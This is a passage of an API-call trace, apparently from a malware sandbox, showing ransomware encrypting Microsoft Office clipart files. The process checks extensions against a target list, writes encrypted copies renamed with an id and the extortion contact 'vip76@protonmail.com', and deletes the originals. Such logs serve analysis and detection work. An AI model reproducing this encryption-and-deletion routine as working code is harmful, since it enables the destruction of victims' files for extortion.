	[0183.324] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.324] lstrlenW (lpString=".xlsx") returned 5
	[0183.324] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0183.324] lstrlenW (lpString=".ppt") returned 4
	[0183.324] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.324] lstrlenW (lpString=".zip") returned 4
	[0183.324] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.324] lstrlenW (lpString=".rar") returned 4
	[0183.324] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.324] lstrlenW (lpString=".bz2") returned 4
	[0183.324] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.324] lstrlenW (lpString=".7z") returned 3
	[0183.324] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.324] lstrlenW (lpString=".dbf") returned 4
	[0183.324] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.325] lstrlenW (lpString=".1cd") returned 4
	[0183.325] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.325] lstrlenW (lpString=".jpg") returned 4
	[0183.325] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.325] lstrlenW (lpString=".doc") returned 4
	[0183.325] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.325] lstrlenW (lpString=".docx") returned 5
	[0183.325] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0183.325] lstrlenW (lpString=".pdf") returned 4
	[0183.325] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.325] lstrlenW (lpString=".xls") returned 4
	[0183.325] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.325] lstrlenW (lpString=".xlsx") returned 5
	[0183.325] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0183.325] lstrlenW (lpString=".ppt") returned 4
	[0183.325] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.325] lstrlenW (lpString=".zip") returned 4
	[0183.325] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.325] lstrlenW (lpString=".rar") returned 4
	[0183.325] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.325] lstrlenW (lpString=".bz2") returned 4
	[0183.325] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.325] lstrlenW (lpString=".7z") returned 3
	[0183.325] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.326] lstrlenW (lpString=".dbf") returned 4
	[0183.326] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.326] lstrlenW (lpString=".1cd") returned 4
	[0183.326] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0183.326] lstrlenW (lpString=".jpg") returned 4
	[0183.326] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.326] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0183.326] lstrlenW (lpString="J0099151.WMF") returned 12
	[0183.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.327] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=26086) returned 1
	[0183.327] CloseHandle (hObject=0x514) returned 1
	[0183.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220
	[0183.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.327] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.328] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.329] GetLastError () returned 0x0
	[0183.329] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x65e6, lpOverlapped=0x0) returned 1
	[0183.331] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x65f0, lpOverlapped=0x0) returned 1
	[0183.332] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.332] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.333] SetEndOfFile (hFile=0x36c) returned 1
	[0183.333] CloseHandle (hObject=0x36c) returned 1
	[0183.333] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.333] SetEndOfFile (hFile=0x514) returned 1
	[0183.336] CloseHandle (hObject=0x514) returned 1
	[0183.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0183.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.337] lstrlenW (lpString=".doc") returned 4
	[0183.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString=".docx") returned 5
	[0183.337] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.337] lstrlenW (lpString=".pdf") returned 4
	[0183.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString=".xls") returned 4
	[0183.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.337] lstrlenW (lpString=".xlsx") returned 5
	[0183.337] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.337] lstrlenW (lpString=".ppt") returned 4
	[0183.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.338] lstrlenW (lpString=".zip") returned 4
	[0183.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.338] lstrlenW (lpString=".rar") returned 4
	[0183.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.338] lstrlenW (lpString=".bz2") returned 4
	[0183.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.338] lstrlenW (lpString=".7z") returned 3
	[0183.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.338] lstrlenW (lpString=".dbf") returned 4
	[0183.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.338] lstrlenW (lpString=".1cd") returned 4
	[0183.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.338] lstrlenW (lpString=".jpg") returned 4
	[0183.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.338] lstrlenW (lpString=".doc") returned 4
	[0183.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.338] lstrlenW (lpString=".docx") returned 5
	[0183.338] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.338] lstrlenW (lpString=".pdf") returned 4
	[0183.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.338] lstrlenW (lpString=".xls") returned 4
	[0183.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.338] lstrlenW (lpString=".xlsx") returned 5
	[0183.338] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.338] lstrlenW (lpString=".ppt") returned 4
	[0183.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.339] lstrlenW (lpString=".zip") returned 4
	[0183.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.339] lstrlenW (lpString=".rar") returned 4
	[0183.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.339] lstrlenW (lpString=".bz2") returned 4
	[0183.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.339] lstrlenW (lpString=".7z") returned 3
	[0183.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.339] lstrlenW (lpString=".dbf") returned 4
	[0183.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.339] lstrlenW (lpString=".1cd") returned 4
	[0183.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0183.339] lstrlenW (lpString=".jpg") returned 4
	[0183.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.339] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0183.339] lstrlenW (lpString="J0099152.JPG") returned 12
	[0183.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.340] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=11694) returned 1
	[0183.340] CloseHandle (hObject=0x514) returned 1
	[0183.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220
	[0183.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0183.341] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.341] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.342] GetLastError () returned 0x0
	[0183.342] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0183.946] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0184.005] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.005] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.005] SetEndOfFile (hFile=0x36c) returned 1
	[0184.005] CloseHandle (hObject=0x36c) returned 1
	[0184.005] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.005] SetEndOfFile (hFile=0x514) returned 1
	[0184.009] CloseHandle (hObject=0x514) returned 1
	[0184.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0184.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.013] lstrlenW (lpString=".doc") returned 4
	[0184.013] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.013] lstrlenW (lpString=".docx") returned 5
	[0184.013] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0184.013] lstrlenW (lpString=".pdf") returned 4
	[0184.013] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.013] lstrlenW (lpString=".xls") returned 4
	[0184.013] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.013] lstrlenW (lpString=".xlsx") returned 5
	[0184.013] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0184.013] lstrlenW (lpString=".ppt") returned 4
	[0184.013] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.013] lstrlenW (lpString=".zip") returned 4
	[0184.013] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.013] lstrlenW (lpString=".rar") returned 4
	[0184.014] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.014] lstrlenW (lpString=".bz2") returned 4
	[0184.014] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.014] lstrlenW (lpString=".7z") returned 3
	[0184.014] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.014] lstrlenW (lpString=".dbf") returned 4
	[0184.014] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.014] lstrlenW (lpString=".1cd") returned 4
	[0184.014] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.014] lstrlenW (lpString=".jpg") returned 4
	[0184.014] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.014] lstrlenW (lpString=".doc") returned 4
	[0184.014] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.014] lstrlenW (lpString=".docx") returned 5
	[0184.014] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0184.014] lstrlenW (lpString=".pdf") returned 4
	[0184.015] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.015] lstrlenW (lpString=".xls") returned 4
	[0184.015] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.015] lstrlenW (lpString=".xlsx") returned 5
	[0184.015] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0184.015] lstrlenW (lpString=".ppt") returned 4
	[0184.015] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.015] lstrlenW (lpString=".zip") returned 4
	[0184.015] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.015] lstrlenW (lpString=".rar") returned 4
	[0184.015] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.015] lstrlenW (lpString=".bz2") returned 4
	[0184.015] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.015] lstrlenW (lpString=".7z") returned 3
	[0184.015] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.015] lstrlenW (lpString=".dbf") returned 4
	[0184.016] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.016] lstrlenW (lpString=".1cd") returned 4
	[0184.016] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0184.016] lstrlenW (lpString=".jpg") returned 4
	[0184.016] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.016] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0184.016] lstrlenW (lpString="J0099160.JPG") returned 12
	[0184.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.018] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=15145) returned 1
	[0184.018] CloseHandle (hObject=0x514) returned 1
	[0184.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220
	[0184.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0184.019] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.019] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0184.020] GetLastError () returned 0x0
	[0184.020] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3b29, lpOverlapped=0x0) returned 1
	[0184.023] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0184.025] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.025] WriteFile (in: hFile=0x36c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.025] SetEndOfFile (hFile=0x36c) returned 1
	[0184.025] CloseHandle (hObject=0x36c) returned 1
	[0184.025] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.025] SetEndOfFile (hFile=0x514) returned 1
	[0184.030] CloseHandle (hObject=0x514) returned 1
	[0184.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0184.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0184.032] lstrlenW (lpString=".doc") returned 4
	[0184.032] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.032] lstrlenW (lpString=".docx") returned 5
	[0184.032] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0184.032] lstrlenW (lpString=".pdf") returned 4
	[0184.032] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.032] lstrlenW (lpString=".xls") returned 4
	[0184.032] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
